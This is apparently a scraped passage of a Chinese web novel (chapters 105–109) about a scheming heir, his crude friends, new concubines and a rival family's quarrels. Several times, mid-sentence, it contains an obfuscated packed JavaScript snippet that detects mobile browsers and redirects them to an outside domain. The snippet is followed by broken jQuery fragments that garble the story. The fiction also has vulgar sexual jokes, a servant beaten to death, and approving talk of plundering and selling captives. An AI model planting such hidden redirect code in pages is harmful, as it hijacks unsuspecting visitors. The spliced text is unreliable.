“不行胖爷得给他上上课挺大个老爷们不生孩子成何体统。”说着话胖子没看门槛结果砰的一声绊摔在地上。 他捂着膝盖喊道:“哎呦我草!大哥你不是说你家门槛被媒婆给踢平了吗?” “滚一边儿去一天天没个正经。”林臻翻个白眼继续吃饭。 方才听他们说要合伙挑战非洲女同胞为久旱的大陆降下甘霖 芦德豪斜倚在桌边嘴角勾起一抹男人间心照不宣的猥琐笑意:“哦?大哥也对异域娘们感兴趣?” 言罢他与胖子一并落座。 该说不说这哥俩的嘴是真壮每次来都能赶上饭点。 胖子涎着脸凑近了几分:“大哥那异域花楼里可不止黑娘们还有白娘们呢!嘿~那小脸白得像个瓷娃娃似的一掐都能出水。” 芦德豪也跟着奉承:“对啊大哥那娘们你是没看到啊比刘书瑶还白呢个子也高!大长腿和红缨枪似的耐草得很。” “得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“呦?新嫂子啊?哈哈哈哈,行,给胖爷拿点酒来,再弄两只烧鸡!” “好嘞胖爷!”晴雯脆生生地应着,随即转身,脚步轻快地离去。 胖子转头看向林臻,一脸促狭,笑得那叫一个猥琐:“嘿嘿嘿~大哥,晴雯嫂子是真有料啊!” “滚蛋。” 虽然林臻还没有和晴雯正式确定关系,但在他印象中,这妮子早已经是自己人了,容不得别人拿她开玩笑。 第105章 男人间的话题 见林臻有些不悦,胖子很识时务地闭上嘴。 芦德豪一边扒着花生,一边用黑黢黢的手指头往嘴里送,说道:“哥,胖爷的事儿你还得想想办法啊,要不他就真没活路了!” 林臻骂道:“想个屁的办法,让胖子去戍边就是我提议的。” 哥俩相视一眼,脸上皆浮现出困惑的神色。 “啊?大哥,为什么啊?” 在他们心中,林臻绝非是那种会背后插刀的人,可眼前之举着实令人费解。 恰在此时,晴雯轻移莲步,手捧一只温润如玉的白玉酒壶,款款而来,依次为众人斟满了一盅佳酿。 林臻缓缓放下手中的筷子,以帕轻拭嘴角,语带沉稳地说道:“我本来向陛下提议让胖子去清河,但顾北辰却插嘴说让你去玄菟。” “这个狗东西!敢在后背给胖爷使刀子,真是给他脸了!”胖子一听这里面还有顾北辰的事儿,当即火大,一拍桌子豁然起身,破口大骂:“大哥,你且等着,胖爷这就把顾北辰的脑瓜子拧下来当夜壶!” “坐下!”林臻怒声喝道:“虽然他说让你去玄菟,但真正同意的人是我。” 胖子眼见林臻的表情不同寻常,于是又重新坐下来。 芦德豪喝了口清酒,说道:“大哥,玄菟那破地方到底有什么好的?你快说呀,我都快急死了!” “玄菟虽然是辽东边疆,但气候并没有你们想象的那么恶劣。况且东北平原辽阔无比,肥沃的黑土地下全都是宝贝,这么好的地方给鲜卑人放羊狩猎用,实在是太可惜了。所以我打算给胖子自主兵权,将东北地区纳入我大乾版图!” “啊?” “这” 哥俩你看我,我看你,都震惊得无以复加! 林臻的野心是真大啊! 世人皆知,戍边乃是九死一生的苦差,稍有不慎便可能命丧边疆。 然而,林臻却似乎将这看作是天赐良机。 他非但没有被边疆的险恶环境所吓倒,反而借此机会企图将邻国吞并。 天呐,这得是什么人才能想出的办法啊! 胖子听闻此言,激动的腮帮子都忍不住微微颤抖起来,他瞪大眼睛,不敢置信地问道:“大哥,你说的可是真的?” “当然。此人颇具才干,只可惜不通官场那套弯弯绕绕,甫一入京,还尚未站稳脚跟便被顾家寻了个由头,匆匆打发到了边疆。你到任之后需跟他联合一处,你主外,他主内,加上我调给你的兵马和粮饷,估计用不了一年就能吞 并外东北。” 林臻轻拍胖子的肩头语带激励:“这可是千载难逢的拓土开疆的良机!一旦功成你的赫赫战功恐怕连祖父都要逊色三分呐!” 胖子激动得浑身颤抖 “祖先懂个鸟啊?东北地区不仅地大物博还有着各种各样丰富的自然和矿产资源这些是祖先根本发现不了。再者说来我大乾王朝人口稠密京城周遭更是人满为患百姓们连一方耕地都难以寻得。 “倘若这东北之地能为我大乾所有那将是何等的光景?咱们大可放手开发鼓励百姓迁徙不需数载我大乾定能傲立于世界之巅成为无可争议的第一强国!” 林臻的目光转向了一旁的胖子语气中带着几分赞许与期待:“至于你胖子届时你便是这宏图伟业中的最大功臣!” 胖子拎起小巧的酒盅咕嘟两口便嫌不过瘾索性一把抄起桌上的白玉酒壶对准了壶嘴便是豪饮一通。酒液如泉瞬息间被他一饮而尽。 他满意地抹了抹嘴角:“大哥你若是能给我十万精兵半年之内我必定把事情办得漂漂亮亮的。” “滚一边去还十万兵马疯了吧你!南边的兵力绝对不能动我最多能从山海关调给你八千铁骑。” 胖子一听登时急了:“八千?八千人马怎么够使啊!” “八千铁骑要是连个鲜卑都拿不下你趁早给我滚蛋!奶奶的要你何用!” 胖子从小便受王铁男和林震仙的教导对打仗作战很有心得只是缺乏实战经验而已。 而且鲜卑现在依靠东突厥才在大兴安岭兴起远远不似北魏拓跋家那般厉害。 所以说八千铁骑足够了真正需要林臻思考的是那么大的地方打下来后该如何守。 常言道:打江山易守江山难。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789238|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自古以来多少帝王将相就因为不懂得如何防守导致王朝覆灭。 看来自己还需要做个全面的计划才好。 眼见坏事变喜事胖子与芦德豪的心情瞬间多云转晴他们举杯相庆酒意盎然欢声笑语中透着一股子难得的畅快。 猛然间抬头一望竟见晴雯亭亭玉立地站在一旁胖子笑容可掬打趣道:“新嫂子不如坐下陪我们一起喝啊?” “就是就是嫂子这么漂亮绝对有坐下的资格。” 晴雯掩嘴轻笑:“咯咯咯咯谢谢胖爷 和芦小公爷,奴婢还是负责倒酒吧~” 胖子无缘无故地叹了口气:“唉,看到你,胖爷仿佛就想起了年轻的时候。他奶奶的,那年胖爷十七,生龙活虎,身体强壮,一人鏖战青楼四大花魁,三天三夜不缴枪!” “你可吹牛逼吧!大哥,你不知道那年他还是个雏哥呢,非拉着我,让我去给他指点迷津!嘿~好嘛,胖爷那动作,大哥,你看我给你学学啊!” ōrZ-7 ōr?7 ōrZ-7 ōr?7 芦德豪学得非常形象,看得林臻忍不住大笑。 “哈哈哈哈哈。” 晴雯眼睛放光,妥妥一个女流氓:“哇!芦小公爷好有经验呀!” 芦德豪边学边讽刺胖子:“要光是这样也就罢了,胖爷竟然连一盏茶的时间都没坚持到,把那四个花魁幽怨的,还以为遇到什么高手了呢!哈哈哈哈!” “哈哈哈哈。” 哥俩加上晴雯笑得乐不可支,胖子则是面子上挂不住,一脚把芦德豪的凳子踹翻,害得后者摔了个大屁股墩。 芦德豪坐在地上,笑得眼泪都出来了。 胖子怒不可遏地扬起手:“你TM再敢说一句,胖爷一招五毒拍逼掌糊你妈脸上!” 芦德豪连连摆手:“别别别,胖爷,弟弟知错了!” “哈哈哈哈。” 林臻还在傻笑。 男人在一起就是这个样子,嘴里除了女人就没有别的东西可念道。 低不低俗不知道,但是真的很快乐。 第106章 要雅俗共赏 别看林臻是选调生,但他真的不是很能理解低俗是什么。 把手说成柔荑是优雅,把眼睛说成双眸也是优雅,可为什么把女性的哺乳器官说成白兔就是低俗呢? 同样是我们身体上的器官,同样对我们都很重要,却非要分出个优雅与低俗,这是谁规定的? 就好比有人说,吃西餐喝红酒是优雅,那我们撸串吃大蒜就是低俗了吗? 同样是吃饭,你吃的就是优雅,我吃的就是低俗,凭什么啊? 雅俗共赏究竟该如何共赏,古今同观到底怎能够同观。 林臻不是哲学家,他没办法很好地解释什么是雅,什么是俗。 但他觉得此刻胖子的行为应该就挺低俗的。 只见此时胖子的脸红得像猴屁股——这多半要归功于他那几乎不存在的脖子。 他左手稳稳地擎着酒壶,右手则悄无声息地探入裤裆,动作中带着几分莫名的急切,也不知道是不是在找虱子。 一番摸索后,他缓缓抽出手指,放在鼻尖上闭目细嗅,脸上竟浮现出一抹陶醉且好奇的表情:“嘶大哥,你说这裤裆里怎么还长脚气呢?挠着真舒服! 林臻闻言胃里一阵翻腾,手中的筷子应声而落,啪嗒一声,清脆响亮。:“废话!你用抠完脚丫子的手抠裤裆,不长脚气就怪了 芦德豪并没有很嫌弃,可见这么多年他已经习惯了,拉着胖子嘘寒问暖,也没个正经话:“胖爷,你听我说不是不是你听我跟你说!我跟你说啊!@#¥%……&唉,知道了吧?. 这明显就是喝多了。 他这人就这样,喝多了就喜欢给别人上课。 去年在燕来楼也是,三瓶竹叶青下肚,嘴就把不住门了,非要劝人家花魁参加科考,还说什么他爹能帮她作弊之类。 胖子不耐烦把他扒拉到一边:“说他妈啥呢,滚犊子!晴雯嫂子,你喊两个人给Beyond抬走。 晴雯轻笑着招呼进来两个小厮把芦德豪架了出去,出门的瞬间还在喋喋不休地跟人家小厮说:“兄弟,要是在王府混得不开心,就来找我!我爹是勋国公! “啊!!(语气助词) “以后这四九城方方面面的啊!提我都好使~哕~~~ 林臻:. 胖子:. 林臻看着梨树下那滩呕吐物便明白什么是又菜又爱玩了。 胖子又一次将酒壶里的佳酿一饮而尽,这已是第四壶下肚,他的话语里带着几分酒意与无奈:“哥啊,朝廷恐怕是不 会给我们发军饷的这钱怎么办?难道还要我们自己出不成?” 见胖子难得说起正事林臻也收起玩闹的心思。 “没错就是我们自己出不过我只会给你们很少的钱以支撑你们前期发展。剩下的你要自己想办法。” “有大哥这句话就妥了只要前期能支撑下去后期我自己就能搞到钱。” 真的假的? 胖子平时看起来憨憨的说不定还真有什么发财的独门妙计这得请教请教。 “你想怎么做?” 胖子卖了个关子邪笑道:“大哥你刚才说我有自主兵权对吧?” 林臻颔首:“对。” “那不就得了鲜卑、突厥那么大地方那么多牛羊!还不是随便让胖爷去抢?到时候不管是牲畜还是人都是胖爷我的!都抢回来卖钱!以战养战嘛胖爷懂~” “可以啊胖子。” 林臻还真没想到他居然懂以战养战。 “到时候你抢回来的东西都可以交给我我来负责出手!” “一言为定!”胖子站起来抱拳道:“大哥弟弟这就回去收拾行装走马上任!” 林臻亦是站起双手抱拳眼中满是诚挚与祝福:“兄弟一路顺风望你保重自身凯旋而归。” 言罢胖子拎起酒壶一饮而尽大笑声中身影逐渐远去只留下一串爽朗的笑声回荡在空气之中。 随后林臻命晴雯取来笔墨书信一封派人交给林震仙。 彼时林震仙正因胖子被遣往玄菟戍边之事心中郁结难舒眉头紧锁满面愁云不展。 恰在此时林臻的信翩然而至。 信中 林震仙阅毕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789239|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顿觉豁然开朗心中阴霾一扫而空取而代之的是前所未有的振奋与期待。 关于林臻说需要调动山海关八千军力给胖子林震仙几乎想都没想便答应了。 于是他重新修书一封盖上自己的大印派最快的信使送往山海关。 在信的最后林臻也说了关于毛梦极的事情。 林震仙对这个年轻人并不了解不过好在林臻只说给他个清河县折冲校尉的官职便也同意了。 消息传回林 臻这里的时候,他正在书房和毛梦极、月妩几人聊天。 晴雯在旁边伺候的殷勤,浣碧则是亲自给林臻研磨。 林臻见她好像不生气了,便笑着说:“这就对了,以后有什么事情要及时说,不要自己生闷气。” “哼。”浣碧不屑地冷哼一声,继续忙手头的事情。 林臻无奈,转回头对毛梦极说道:“毛将军,兵部和吏部的委任令都到了,你随时可以前往清河,记住,你的任务是练兵,尽量不要和楚国边军发生冲突。现在还不是开战的时候,我需要再准备准备。” 毛梦极经过昨天的事情,已经决定死心塌地地跟着林臻了。 这个男人不仅救了自己,还救了全家人,这份恩情,如何不让他效死命? 他缓缓起身,双手抱拳,语气坚定:“世子放心,属下这就启程赴任。” “嗯,带着夫人和平儿一起去吧,边塞独孤,有她们在,也不至于太寂寞。” 毛梦极闻言,目光在妻子温柔的脸上停留片刻,又转向满含期盼之色的平儿,心中五味杂陈。然而,一番思量后,他还是轻轻摇了摇头道: “多谢世子美意,只是边关战事紧急,我身为将领需以身作则,此行不宜携带家眷,以免分心。她们留在后方,我反而能更加安心。” 林臻点点头:“也好,等打完了仗,我许你个长假,好好陪陪她们。” “多谢世子!”毛梦极感激涕零,携同妻女缓缓退去。 而月妩,却似有所留恋,迟迟未动,仿佛心中有千言万语,却又不知从何说起。 第107章 世子若想...妾身愿意 林臻见状轻声问道:“月妩姐姐可还有事儿?” “妾身.”月妩的目光在浣碧与晴雯之间流转终是将即将脱口而出的话语默默咽回心底 林臻挥挥手:“你们俩先退下吧。” 晴雯当即就不乐意了因为她感觉到一丝危险的气息。 “有什么话还怕我们听啊?大白天的孤男寡女独处一室也不嫌害臊!” 月妩的脸瞬间就被她说得绯红低下头去。 林臻则故意虎着脸说道:“让你干什么就干什么哪那么多话?出去!” “哼有了新人忘旧人!浣碧姐姐我们走以后再不必在他跟前碍眼!” 晴雯气鼓鼓地拉着浣碧就走了出去月妩尴尬的脚趾抠地两只柔荑也攥在一起。 我只是想跟林臻单独说说话而已啊。 怎么就一副霸占了你夫君的样子。 林臻深知两位女子的性情故而并未放在心上转而以温和之声对月妩轻语:“晴雯就是刀子嘴豆腐心有什么事你就说吧。” 月妩偷偷咽了口香津脸颊微红。 “妾身.只是想感谢世子这次出手相救.若非世子仗义援手我们一家恐怕早已命丧黄泉再无生还可能。” “廉松死有余辜你不必谢我酒楼的事情我会安排好这几天你先在府里住下。等平儿母女回来我会单独给他们找个院落以后就在这生活吧。” 对于那些未曾深入了解林臻的人来说或许会无端揣测认为他借由平儿母女作为筹码来牵制毛梦极。 然而林臻的心中并无此等算计。 属下在前面为自己冲锋陷阵自己安排好他们家人是应该的如果说毛李氏愿意出去做生意或者单独搬出去住他也会尽力安排。 在林臻的世界里主仆之分从不被刻意强调那份情谊与尊重无论是对毛梦极还是对二狗、侯春等人皆是一般无二。 于他而言人心相系无需界限分明。这便是林臻一个以情义为重胸怀宽广的领袖。 当然了这也是晴雯敢顶嘴的原因。 如果是顾家 月妩是不了解林臻的但是她知道眼前这个男人是大乾国除皇帝外最有权势的人。 他宛若凌驾尘世的神祇强大得令人仰望高不可攀。 女人慕强这是天性。 月妩也并非什么不婚主义 者,单身至今一来是为了照料弟弟、家人,二来是她内心深处那份不愿妥协的坚持。 而今,林臻的出现,如同一道坚实的盾牌,悄然矗立于她的身后,让她感受到了前所未有的安心与释然。 仿佛自此以后,无论风雨如何肆虐都有他为自己抵挡,为自己撑起一片宁静的天空。 月妩的思绪不经意间飘远,不知是想起了过往的孤独与坚韧,还是对未来与林臻相伴日子的憧憬与遐想,脸蛋红红的。 两人一时相对无言,气氛暧昧到了极点,林臻也觉得浑身燥热起来,尴尬地咳嗽两声:“咳咳,没什么事情的话,你可以先回去休息了。” “世子.”月妩还待说什么,却见林臻好像并没有要和自己行房的想法。 于是她只能略显失落地道:“妾身.世子可是嫌妾身年纪大?” “啊?没有啊。” “妾身.虽然年龄大了些,但也是冰清玉洁的,世子若想要,妾身.妾身自是应允。” “额” 这是怎么了? 难道说夺走顾北辰的气运后,美女们开始主动往自己身边贴? 晴雯倒还好理解,她毕竟只是个想上位当主子的小丫鬟,可怎么一向坚强独立自主的月妩也是如此呢? 要.还是不要呢? 虽说送到嘴边的肉没有不吃的道理,可林臻还是认为这种事情得有感情基础,否则就变成了动物的原始本能,毫无乐趣。 当然,刘书瑶和小翠不算,那是对她们的惩罚。 林臻摸了摸鼻子:“我倒是认为不急,好饭不怕晚嘛。” “可是..可是妾身已经二十五岁了,您再不要,妾身就真的老了啊!” 二十五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789240|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岁在后世的话,也就大学刚毕业的样子。 当然,各地方有晚上学和早上学的,这个不较真。 这个年岁可以说是女人最有魅力的时段,不似十七八岁的情窦初开,也不似三十好几的少妇看淡一切。 她们对男女间的事情充满期待,也有正常的生理需求,却依旧保持着含蓄,羞涩的内敛。 林臻记得有一年参加同学聚会,曾经年少时那个连开玩笑都会脸红的女同学,如今在酒桌上各种黄段子信手拈来,还主动和同学们“互动”。 那天晚上,至少有三个男同学陪他去酒店开房间,至于后来发生了什么林臻就不知道了,只知道她结婚以后好像过得很不幸福。 咳咳,扯远了。 面对月妩的表白,林臻老脸一红:“月妩,你知道的,大乾现在是多事之秋,你就算跟了我,三五年之内我也无法给你名分。” 月妩闻言,眼眸中闪过一抹坚定与温柔,她轻咬朱唇,犹豫片刻后,终是鼓足勇气说道。 “妾身从不曾在意过那些虚名浮利,名分于我而言真的可有可无。我我只是想尽自己所能,来报答世子的恩情。只是,除了这副薄柳之姿,妾身似乎再无他物.” 林臻无奈地道:“真的不用报答.” 月妩的眼眶微微泛红,她低声继续说道:“除了报答之心.妾身其实,也渴望着能得到世子的垂爱,哪怕只是从您众多姐妹中分得一丝温暖也好。” 月妩就差脱光把林臻扑倒在床上了,如果林臻再拒绝,肯定会伤到美人心。 也罢,那就收了吧。 对自己来说,养个小妾还是很轻松的。 更何况月妩的长相确实无可挑剔。 说什么肤白貌美,肤若凝脂之类的太片面了,林臻就觉得她长得很像后世电影《军中乐园》里的妮妮,包括身高、身材等等都很像。 当然,也只是看着像而已,但绝对不是一个人哦。 如果雷同,纯属巧合. 林臻说道:“晚上来我卧房里详谈吧。” 第108章 败家娘们,我TM打死你! 月妩轻咬下唇羞涩地颔首恰似春日里初绽的花朵娇嫩欲滴。 大门猛然间被撞开两个身着红绿长裙的姑娘哎哟一声踉跄着跌落在地 浣碧尚算镇定忙不迭地起身尴尬中带着几分羞赧地行了个礼。 反观晴雯她爬起身后不顾形象地对着林臻大声嚷道:“世子!您的心可真是石头做的!昨日您还信誓旦旦地答应浣碧姐姐要与她共度良宵怎的今日又对这个狐媚子说同样的话?我倒要瞧瞧今晚您究竟会选谁同寝!哼!” 言罢浣碧当即就活不成了她几乎是本能的反应不顾一切地拽起晴雯便往外走嘴里急道:“哎呀晴雯!你胡说八道什么呢羞死人了!” 晴雯挣扎着嗓音里带着几分不甘:“姐姐你别拽我让我与那没心肝的混账东西理论个清楚!” 卧槽! 林臻当即想起来。 难怪今日浣碧一副郁郁寡欢的模样感情是自己昨天答应了她要一起睡结果自己先睡了过去第二天还像个没事人似的。 该死该死 林臻朝月妩扯出一抹苦笑:“呵呵看来你要排队了。” 月妩闻言嘴角勾起一抹浅笑贝齿微露声音中带着几分俏皮:“嘻嘻嘻妾身连二十五年都等了自然不差这一夜。” 话分两头。 话说顾北辰一阵风似地奔回宅邸进门便急匆匆地仰起头大口灌下一壶茶水。 顾云霆手执一卷古籍目光从书页间抬起望向儿子那略显慌乱的身影心中暗自揣测。 不晓得儿子又经历了什么事儿。 他缓缓合上书本语调中带着几分探究与关切:“北辰你这是怎么了?” 顾北辰闻言嘴角微抿似乎在衡量着话语的轻重终是开口语带玄机:“父亲有个好消息和坏消息你先听哪一个?” 顾云霆微微一笑回答得毫不犹豫:“还是先听那坏消息吧也好让我有个心理准备。” 顾北辰闻言眼神闪烁了一下似乎有些犹豫。 “父亲还是先听好消息吧。陛下对王胖子大闹喇嘛庙的事情十分震怒已经将他发配玄菟戍边了!” “什么?真的!!??”顾云霆闻言惊喜交加险些从椅子上跳起来! 奶奶的这京城第一恶犬终于被赶跑了以后顾家子弟在京城里的名望会逐步提升。 不仅如此王胖子身手不凡武艺超群一旦死在玄菟那对林家派 系而言无疑是一记重创! 林震仙性情沉稳断不会轻举妄动。而王铁男他又岂是会让爱子枉死之人?如此这般两家之间裂痕渐深乃至分崩离析也未可知。 到那时自己便可以暗箱操作站边王铁男竭力拉拢与之携手共抗林震仙。 “真的!”顾北辰微微颔首神色笃定。 顾云霆紧握双拳心潮澎湃在原地焦急地踱来踱去口中不住喃喃:“天赐良机天赐良机啊!” 顾北辰对自己的这番布局颇为自得嘴角勾起一抹得意的笑缓缓道来:“本来林臻是想让王胖子去清河的是孩儿硬劝陛下这才把他发配到了玄菟!父亲这回王胖子可是死定了!” 只要想起王胖子那跋扈的样子顾北辰就恨得牙根直痒痒。 顾云霆也同样如此他在王胖子手里吃过不少亏。 “没错玄菟苦寒人烟稀少突厥和鲜卑经常来打秋风以他那个暴躁的性格绝不会坐视不理只要他和外族人干上那就是十死无生!哈哈哈哈天佑顾家!天佑顾家啊!” 父子二人相视而笑满心欢喜几欲相拥以庆。 这时顾韩氏轻移莲步缓缓步入屋内见夫君与儿子皆是满面春风不禁好奇地问道:“老爷辰儿什么事情这么高兴啊?” 顾云霆望着这位结发之妻心中虽有诸多不满但念及她正室之尊终究未露愠色只淡然落座静候顾北辰解答。 “母亲。””顾北辰嘴角挂着几分戏谑:“王胖子去玄菟戍边 顾韩氏闻言眸光闪烁嘴角不自觉地上扬:“这可真是喜讯一桩!那王胖子平日里眼高于顶除了林家那小子谁都不放在眼里。上月他还胆大包天当街对你妹妹无礼流里流气的出言不逊。哼!死了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789241|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好死了老娘放炮仗庆祝!” 顾云霆轻咳几声嗓音中带着一丝不易察觉的干涩:“咳咳你来有什么事儿啊?” “哦妾身是想问问布庄那批银子到了没有?若是到了妾身想置办点首饰。” 顾云霆知道她说的是布庄回扣的钱款当即眉头紧锁脸色瞬间阴沉下来:“钱钱钱你就知道钱!这笔钱是我顾家的家底岂能让你挥霍?” 顾韩氏闻言声音也变得尖锐起来:“你这话怎么说的?前几天还不是你把老娘的嫁妆都赔了进去?你若是不还老娘跟你没完!” “你!败家娘们我TM打死你!” “你打 啊!你敢动我一下,韩家从此与你再不往来!” “我”顾云霆一口气没倒上来险些噎死。 韩氏一族,在大乾的辉煌岁月里早已褪去了名门望族的光环,族中虽有子弟在朝为官,却也不过是些微不足道的小角色。 然而,韩家却拥有一位德高望重的老族长尚在,此人非同小可,乃是慕容嫣祖父、父亲乃至她本人,三代帝王的帝师。 其影响力深不可测。 正因如此,慕容家族对韩家始终保持着一份敬畏与尊重。 谈及顾云霆,他的今日成就,实则与韩家有着千丝万缕的联系。若非当年有幸娶得韩氏为妻,他的仕途之路,或许未必能如此顺畅。 此刻,见顾云霆在自己面前略显收敛,韩氏夫人嘴角不禁勾起一抹得意的笑,下巴微微扬起,带着几分轻蔑与胜利的姿态,轻哼一声:“哼,老东西,我还治不了你?布庄的钱下来立马给我送去,少了一文,全家都别想消停!” “你” “父亲,算了算了,母亲今天也是心情不好。”顾北辰见爸妈又要吵起来,赶紧上来劝架。 顾韩氏拂袖而去,留下顾云霆在原地气的脸色铁青,胸膛剧烈起伏,仿佛每一口气都夹杂着无尽的怒火与无奈。 “我,我怎么就娶了这样一个婆娘!目光短浅,满身铜臭!老夫早晚休了她!” 第109章 昨天是我不好,今天补给你 唉,家门不幸啊。 顾北辰立于双亲之间,一边是慈母,一边是严父,他心中五味杂陈,左右为难,实难抉择。 身着蓝色帽衫的小厮战战兢兢地上前为顾云霆斟茶,一见主子那怒不可遏的模样,心中恐惧如潮,手里哆哆嗦嗦没个准头,茶水因此而倾洒而出。 顾云霆见状,怒火中烧,一把抄起桌上的茶壶,毫不留情地扔在他脸上! “砰!”一声脆响,茶壶碎裂。 “啊!!呜呜呜呜!”小厮被滚烫的茶水烫得惨叫连连,满地翻滚,痛苦不堪。 顾云霆怒喝道:“废物!连个茶都倒不好,留你何用!?来人,给我拖出去,乱棍打死!” “是!”两旁的家丁闻声而动,粗鲁地架起小厮,拖着他踉跄的步伐往门外而去。 顾北辰目睹此景,心中虽有不忍,但并没有说什么。 可怜的小厮刚进府就被打成了肉泥。 顾云霆重新拿起茶盏喝了一口,这才问道:“嗯?北辰,你不是说还有个坏消息吗?什么坏消息?” “额廉家,恐怕要被抄家了。” “噗!!!” 顾云霆一口茶水就喷了出去,随即猛烈咳嗽:“咳咳咳咳,不是林臻去他家闹事吗?为什么要抄他的家啊!?” 顾北辰咬牙:“林臻说,廉强家十分奢华,比起皇宫来也不遑多让。陛下大怒,已经派人去调查了,看来贪污的事情瞒不住了。” “林臻无缘无故的为什么提起廉家?” “是孩儿为了惩罚林臻,所以才提起的廉家。” “你”顾云霆话还没说利索就开始翻白眼了,顾北辰见状赶紧把他搂住。 “父亲!父亲!” “来人!快叫大夫!!!” 林臻轻声吩咐月妩先行回房休息,自己则独自沉浸在书房的静谧之中,笔下生风,纸上留痕。 他需要改进下这个时代的弩箭。 诚然,林臻对于古代战场上的兵法谋略知之甚少,但他心中却牢牢扎根着一个朴素的真理:武器之锋,乃决定战场胜负之秤。 也有俗语云:人巧不如家什妙。 在这个没有火枪轰鸣的时代,弓箭与弩箭便是远距离制胜的不二法门。 然而,大乾王朝的弩箭,其威力着实令人不敢恭维,唯有在近距离作战的时候,射出的箭矢方能勉强穿透敌甲,一旦距离稍远,便如同儿戏,难以对敌人造成实质性的伤害。 这是皮绳弹力的问题,林臻对此虽心 知肚明,却一时苦无良策。若要彻底解决这个问题,除非把东南亚的橡胶运过来,但成本太高了根本没办法大规模装备。 所以他最先想到的就是改装床弩和八牛弩。 这两个大家伙可厉害,上面放的不是弓箭,而是攻城凿。就是射出去能钉在城墙上,让将士们攀爬登楼的那种。 现在八牛弩也没有大规模装备,只有在攻城战的时候才会用到它,林臻打算把他们简单改装,从四个人操作变成两个人,这样就会提高它的射击频率,还不影响它的威力,如同为战场上的巨兽插上了翅膀。 试想,当敌军铁骑如潮水般汹涌而来,而我方则以改良后的八牛弩为矛,床弩为盾,在前沿摆成一排. 说不定就是一边倒的屠杀了。 八牛弩是用人力来上弦的,四个人拉动牛筋绳,用惯性把攻城凿射出去,林臻直接给改成手摇上弦。 在八牛弩的上方设置一个摇杆,类似后世的固定火炮转向盘似的东西,通过摇杆将牛筋往后拉伸,然后再上攻城凿,这样两个人就能操作,频率也更高。 只是这样的精细的东西得需要能工巧匠才能做出来,为了能长久使用还需要在外面浇一层铁浆。 八牛弩设计好以后,林臻又开始设计弓箭,他打算做出来一柄复合弓试试。 碳素材料不用想,那是几个工业革命之后才能有的东西,只能用弹力更好的木材代替。 可画来画去林臻才想起,光是一套滑轮系统就不是简简单单能做出来的,于是他又重新设计了反曲弓。 这种弓箭的好处在于比传统弓箭威力更大,也更轻巧方便,算是对传统弓箭的一次升级。 等应付过三个月后的乾楚大战,再细细琢磨复合弓的事情的吧。 整个午后,林臻仿佛被无形的绳索牵引,深深沉浸于自我构筑的天地里,浑然不觉时光悄然流逝,直至天边最后一抹夕阳也羞涩地躲进了山的怀抱,宣告着黄昏的降临。 此时,浣碧与晴雯一前一后,轻盈步入书房,手中各执托盘,满载着热腾腾的饭菜,为这静谧的空间添上了一抹温馨的生活气息。 晴雯的脸上依旧挂着那抹浓重的鄙夷,认为林臻是个不靠谱的臭男人,昨日还对浣碧念念不忘,转瞬之间又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789242|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 另有所属。 反观浣碧则是没有那么多想法,相反在晴雯一语道破天机之后,她反而有了几分释然,也没有再生气。 于是,她步履轻盈地走向桌边,动作轻柔地将饭菜摆放整齐,又细心地将筷子递予林臻,每一个 